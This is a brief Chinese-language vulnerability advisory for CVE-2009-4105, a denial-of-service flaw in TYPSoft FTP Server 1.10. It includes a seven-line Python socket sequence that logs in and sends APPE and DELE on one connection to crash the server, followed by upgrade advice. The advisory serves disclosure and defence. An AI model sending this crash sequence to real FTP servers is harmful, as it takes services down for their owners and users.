CVE:CVE-2009-4105
CNNVD:CNNVD-200911-305
TYPSoft FTP Server是一款简单易用的FTP服务程序。
TYPSoft FTP Server中存在拒绝服务漏洞，用户登录到服务器后对同一个套接字连接同时使用APPE和DELE命令就会导致服务器崩溃：
1.sock.connect((hostname, 21))
2.sock.send("user %s\r\n" %username)
3.sock.send("pass %s\r\n" %passwd)
4.sock.send("PORT 127,0,0,1,122,107\r\n")
5.sock.send("APPE "+ test_string +"\r\n")
6.sock.send("DELE "+ test_string +"\r\n")
7.sock.close()
solution:Upgrade typsoft typsoft_ftp_server to a higher version than 1.10,and avoid the version 1.10